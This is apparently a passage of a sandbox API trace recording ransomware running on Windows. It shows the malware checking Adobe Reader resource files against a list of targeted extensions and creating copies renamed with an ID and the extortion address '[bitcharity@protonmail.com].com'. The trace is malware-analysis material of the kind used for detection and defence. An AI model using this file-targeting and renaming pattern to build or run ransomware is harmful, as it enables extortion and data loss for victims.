(lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Roundrect_White@1x.png") returned 139 [0284.244] lstrlenW (lpString=".zip") returned 4 [0284.244] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0284.244] lstrlenW (lpString=".rar") returned 4 [0284.244] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0284.245] lstrlenW (lpString=".bz2") returned 4 [0284.245] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0284.245] lstrlenW (lpString=".7z") returned 3 [0284.245] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0284.245] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Roundrect_White@1x.png") returned 139 [0284.245] lstrlenW (lpString=".dbf") returned 4 [0284.245] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0284.245] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Roundrect_White@1x.png") returned 139 [0284.245] lstrlenW (lpString=".1cd") returned 4 [0284.245] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0284.245] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Roundrect_White@1x.png") returned 139 [0284.245] lstrlenW (lpString=".jpg") returned 4 [0284.245] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0284.245] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Roundrect_White@1x.png") returned 139 [0284.245] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Roundrect_White@1x.png") returned 139 [0284.245] lstrlenW (lpString=".doc") returned 4 [0284.245] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0284.245] lstrlenW (lpString=".docx") returned 5 [0284.245] lstrcmpiW (lpString1=".docx", lpString2="x.png") returned -1 [0284.245] lstrlenW (lpString=".pdf") returned 4 [0284.245] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0284.245] lstrlenW (lpString=".xls") returned 4 [0284.245] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0284.245] lstrlenW (lpString=".xlsx") returned 5 [0284.245] lstrcmpiW (lpString1=".xlsx", lpString2="x.png") returned -1 [0284.245] lstrlenW (lpString=".ppt") returned 4 [0284.245] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0284.245] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Roundrect_White@1x.png") returned 139 [0284.245] lstrlenW (lpString=".zip") returned 4 [0284.245] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0284.245] lstrlenW (lpString=".rar") returned 4 [0284.245] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0284.245] lstrlenW (lpString=".bz2") returned 4 [0284.245] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0284.245] lstrlenW (lpString=".7z") returned 3 [0284.245] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0284.246] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Roundrect_White@1x.png") returned 139 [0284.246] lstrlenW (lpString=".dbf") returned 4 [0284.246] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0284.246] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Roundrect_White@1x.png") returned 139 [0284.246] lstrlenW (lpString=".1cd") returned 4 [0284.246] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0284.246] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Roundrect_White@1x.png") returned 139 [0284.246] lstrlenW (lpString=".jpg") returned 4 [0284.246] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0284.246] lstrcmpiW (lpString1=".png", lpString2=".com") returned 1 [0284.246] lstrlenW (lpString="A12_Sign_White@1x.png") returned 21 [0284.246] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Sign_White@1x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_sign_white@1x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11c0 [0284.246] GetFileSizeEx (in: hFile=0x11c0, lpFileSize=0x279ff14 | out: lpFileSize=0x279ff14*=690) returned 1 [0284.246] CloseHandle (hObject=0x11c0) returned 1 [0284.246] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Sign_White@1x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_sign_white@1x.png")) returned 0x20 [0284.246] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Sign_White@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_sign_white@1x.png.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0284.247] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Sign_White@1x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_sign_white@1x.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11c0 [0284.247] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.247] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.247] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Sign_White@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_sign_white@1x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.247] CloseHandle (hObject=0x11c0) returned 1 [0284.247] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Sign_White@1x.png") returned 134 [0284.247] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Sign_White@1x.png") returned 134 [0284.247] lstrlenW (lpString=".doc") returned 4 [0284.247] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0284.247] lstrlenW (lpString=".docx") returned 5 [0284.247] lstrcmpiW (lpString1=".docx", lpString2="x.png") returned -1 [0284.247] lstrlenW (lpString=".pdf") returned 4 [0284.247] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0284.247] lstrlenW (lpString=".xls") returned 4 [0284.247] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0284.247] lstrlenW (lpString=".xlsx") returned 5 [0284.247] lstrcmpiW (lpString1=".xlsx", lpString2="x.png") returned -1 [0284.247] lstrlenW (lpString=".ppt") returned 4 [0284.248] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0284.248] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Sign_White@1x.png") returned 134 [0284.248] lstrlenW (lpString=".zip") returned 4 [0284.248] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0284.248] lstrlenW (lpString=".rar") returned 4 [0284.248] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0284.248] lstrlenW (lpString=".bz2") returned 4 [0284.248] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0284.248] lstrlenW (lpString=".7z") returned 3 [0284.248] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0284.248] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_Sign_White@1x.png") returned 134 [0284.248] lstrlenW (lpString=".dbf") returned 4 [0284.248] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0284.248] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.248] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.248] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\A12_TypeTextFields_White@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\a12_typetextfields_white@1x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.249] CloseHandle (hObject=0x11c0) returned 1 [0284.249] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.249] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.249] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\Comb_field_White@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\comb_field_white@1x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.250] CloseHandle (hObject=0x11c0) returned 1 [0284.253] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.253] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.253] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\themes\\dark\\A12_AddBlue@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\themes\\dark\\a12_addblue@1x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.253] CloseHandle (hObject=0x11c0) returned 1 [0284.254] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.254] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.254] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\themes\\dark\\A12_Checkmark_White@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\themes\\dark\\a12_checkmark_white@1x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.254] CloseHandle (hObject=0x11c0) returned 1 [0284.255] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.255] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.255] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\themes\\dark\\A12_Crossmark_White@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\themes\\dark\\a12_crossmark_white@1x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.255] CloseHandle (hObject=0x11c0) returned 1 [0284.257] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.257] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.258] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\themes\\dark\\A12_delete@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\themes\\dark\\a12_delete@1x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.258] CloseHandle (hObject=0x11c0) returned 1 [0284.258] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.258] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.258] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\themes\\dark\\A12_FilledDot_White@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\themes\\dark\\a12_filleddot_white@1x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.259] CloseHandle (hObject=0x11c0) returned 1 [0284.259] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.260] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.260] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\themes\\dark\\A12_Line_White@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\themes\\dark\\a12_line_white@1x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.260] CloseHandle (hObject=0x11c0) returned 1 [0284.260] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.260] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.260] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\themes\\dark\\A12_Roundrect_White@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\themes\\dark\\a12_roundrect_white@1x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.261] CloseHandle (hObject=0x11c0) returned 1 [0284.261] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.261] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.261] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\themes\\dark\\A12_Sign_White@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\themes\\dark\\a12_sign_white@1x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.261] CloseHandle (hObject=0x11c0) returned 1 [0284.262] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.262] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.262] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\themes\\dark\\A12_TypeTextFields_White@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\themes\\dark\\a12_typetextfields_white@1x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.262] CloseHandle (hObject=0x11c0) returned 1 [0284.263] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.263] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.263] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\themes\\dark\\Comb_field_White@1x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\@1x\\themes\\dark\\comb_field_white@1x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.263] CloseHandle (hObject=0x11c0) returned 1 [0284.264] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.264] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.264] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\check_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\check_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.265] CloseHandle (hObject=0x11c0) returned 1 [0284.265] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.266] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.266] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\circle_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\circle_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.266] CloseHandle (hObject=0x11c0) returned 1 [0284.268] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.268] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.268] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\dot_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\dot_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.269] CloseHandle (hObject=0x11c0) returned 1 [0284.270] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.270] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.271] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\line_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\line_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.271] CloseHandle (hObject=0x11c0) returned 1 [0284.272] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.272] SetFilePointerEx (in: hFile=0x11c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.272] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\text_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\text_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.272] CloseHandle (hObject=0x11c0) returned 1 [0284.504] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.505] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.505] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 